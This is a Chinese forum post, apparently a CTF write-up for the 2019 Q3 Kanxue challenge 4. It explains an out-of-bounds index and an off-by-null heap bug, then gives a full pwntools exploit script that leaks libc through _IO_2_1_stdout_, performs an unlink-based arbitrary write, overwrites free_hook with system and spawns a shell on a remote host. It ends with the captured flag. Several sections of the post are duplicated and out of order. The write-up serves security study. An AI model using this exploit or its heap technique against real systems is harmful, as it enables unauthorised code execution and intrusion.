-
-
[原创]看雪CTF2019Q3第四题WP
-
发表于: 2019-9-25 18:23 5950
-
一、漏洞
存在2个漏洞点,都在编辑函数中
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4) { result->global->cmpReg |= a4 & 1; result->global->cmpReg |= a4 & 0x800; if ( (signed int)subValue <= 0 || subValue >> (size - 1) ) { if ( subValue ) { result->global->cmpReg |= 0x80u; // 小于标志 result->global->cmpReg &= 0xFFFFFFBF; } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg |= 0x40u; // 等于标志 } } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg &= 0xFFFFFFBF; } if ( !(subValue & 1) ) result->global->cmpReg |= 4u; result->global->cmpReg1 = result->global->cmpReg; return result; }
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。
char *__fastcall readBuf(char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset(&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit(1); if ( s == 0xA ) break; buf[i] = s; } result = (char *)(unsigned int)i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; }
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
输入索引-6后可以更改
_IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先
_IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
ayload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)
其中thunk_ptr = pwn_base + globalVar_offset + 0x38
5、删除4号内存
使得3号内存数组指针执行2号内存地址
6、编辑3号内存,使得2号内存指向想要写的地址,就可以实现任意地址写。
三脚本
#!/usr/bin/python # coding:utf-8 from pwn import * from zio import * #context(log_level='debug') __malloc_hook_ptr_offset = 0x3C3EF0 libc_base = 0 system_offset = 0x45390 freehookBk_offset = 0x202058 globalVar_offset = 0x202080 def menu(cmd): io.sendlineafter("4.quit",str(cmd)) def add(size): menu(1) io.sendlineafter("Input size : ",str(size)) def delete(index): menu(2) io.sendlineafter("Input idx : ",str(index)) def edit(index,data): menu(3) io.sendlineafter("Input idx : ",str(index)) io.sendlineafter("Input text : ",data) if __name__ == '__main__' : #io = process('./pwn') io = remote('154.8.174.214', 10001) #get libcBase edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60') data = u64(io.recv(6).ljust(8,'\x00')) libc_base = data - 0x3C56A4 print 'libc_base = '+ str(hex(libc_base)) system_addr = libc_base + system_offset print 'system_addr = '+ str(hex(system_addr)) #get pwn base __malloc_hook_ptr = libc_base + __malloc_hook_ptr_offset print '__malloc_hook_ptr = ' + str(hex(__malloc_hook_ptr)) edit(-6, p64(0xfbad1800)+p64(0x0)*3+ p64(__malloc_hook_ptr)) pwn_malloc_hook_ptr = u64(io.recv(6).ljust(8,'\x00')) print 'pwn_malloc_hook_ptr = '+ str(hex(pwn_malloc_hook_ptr)) pwn_base = pwn_malloc_hook_ptr - 0x202020 print 'pwn_base = '+ str(hex(pwn_base)) thunk_ptr = pwn_base + globalVar_offset + 0x38 feehookBk_addr = pwn_base + freehookBk_offset print 'thunk_ptr = '+ str(hex(thunk_ptr)) print 'feehookBk_addr = '+ str(hex(feehookBk_addr)) add(248) add(248) add(248) add(248) add(248) add(248) print 'add ok' payload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) edit(3, payload) print 'delete 4' delete(4) payload = p64(0xF8) + p64(feehookBk_addr) edit(3, payload) print 'feehookBk_addr ok' payload = p64(system_addr) edit(2, payload) print 'system call ok' edit(1, '/bin/sh\x00') print 'shell bin' delete(1) print 'get shell' io.interactive() #gdb.attach(proc.pidof(io)[0]) print 'pause...'
四: flag = flag{4ca9ae5d7c835994cc62d34f92ef95ce}
struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag(struct vmpInfo *result, unsigned int subValue, char size, __int16 a4) { result->global->cmpReg |= a4 & 1; result->global->cmpReg |= a4 & 0x800; if ( (signed int)subValue <= 0 || subValue >> (size - 1) ) { if ( subValue ) { result->global->cmpReg |= 0x80u; // 小于标志 result->global->cmpReg &= 0xFFFFFFBF; } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg |= 0x40u; // 等于标志 } } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg &= 0xFFFFFFBF; } if ( !(subValue & 1) ) result->global->cmpReg |= 4u; result->global->cmpReg1 = result->global->cmpReg; return result; }
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。
char *__fastcall readBuf(char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset(&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit(1); if ( s == 0xA ) break; buf[i] = s; } result = (char *)(unsigned int)i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; }
二、漏洞利用
char *__fastcall readBuf(char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset(&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit(1); if ( s == 0xA ) break; buf[i] = s; } result = (char *)(unsigned int)i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; }
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
输入索引-6后可以更改
_IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先
_IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5692
- [原创]看雪CTF2019Q3第四题WP 5951
- [原创]看雪CTF2019Q3 第二题WP 6785
- [2019看雪CTF晋级赛Q3第九题WP 12526
- [原创]看雪CTF2019晋级赛Q2第三题 5040
看原图
赞赏
雪币:
留言: